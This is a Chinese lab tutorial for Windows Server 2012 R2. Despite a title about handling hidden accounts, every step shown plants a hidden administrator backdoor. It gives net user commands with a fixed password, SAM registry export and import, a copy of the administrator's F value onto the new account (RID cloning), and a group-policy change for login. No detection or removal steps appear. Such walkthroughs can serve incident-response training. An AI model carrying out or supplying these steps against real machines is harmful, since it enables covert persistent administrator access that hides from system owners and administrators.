Windows隐藏账户处置

一台windows server 2012 r2

步骤：

一、使用命令行创建用户

1、打开命令行

右击win键，打开命令提示符

 2、新建test$用户

net user test$ sxf!7890 /add

net localgroup administrators test$ /add

 观察test$用户

使用系统计算机管理工具

右击win键，打开计算机管理

发现可以找到test$用户

使用命令查看用户

在命令行输入

net user

 可以看到只有一个guest用户，没有test$用户

导出test$和administrator用户注册表信息

1、打开注册表

命令行输入

regedit

2、获取SAM项权限

 

 刷新权限

3、导出test$用户信息

导出下面键为test.reg

这里0X3e9为随机值，每台主机都会不一样

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$

 

4、导出test$的UID值

 

 

5、 导出administrator的UID项

在windows下，administrator的UID固定为1F4

 

修改导出的注册表信息

1、将admin_id中的F值，复制到uid中的F值

编辑admin_id

复制F的值

 编辑uid

 粘贴F值

 保存文件

删除test$用户，导入注册表

1、删除test$用户

使用下面命令

net user test$ /del

2、导入桌面上的 test 和 uid注册表文件

导入test

 

导入uid

 

 查看隐藏账户

1、使用计算机管理，查看用户，并未发现test$

2、修改组策略，允许自定义用户登录

在命令提示符中输入

gpedit.msc

 定位到安全选项，不显示最后的用户名

启用，确定

 

 注销administrator用户

使用test$用户登录

输入用户名 test$

输入密码sxf!7890

登录成功

使用任务管理器，查看当前用户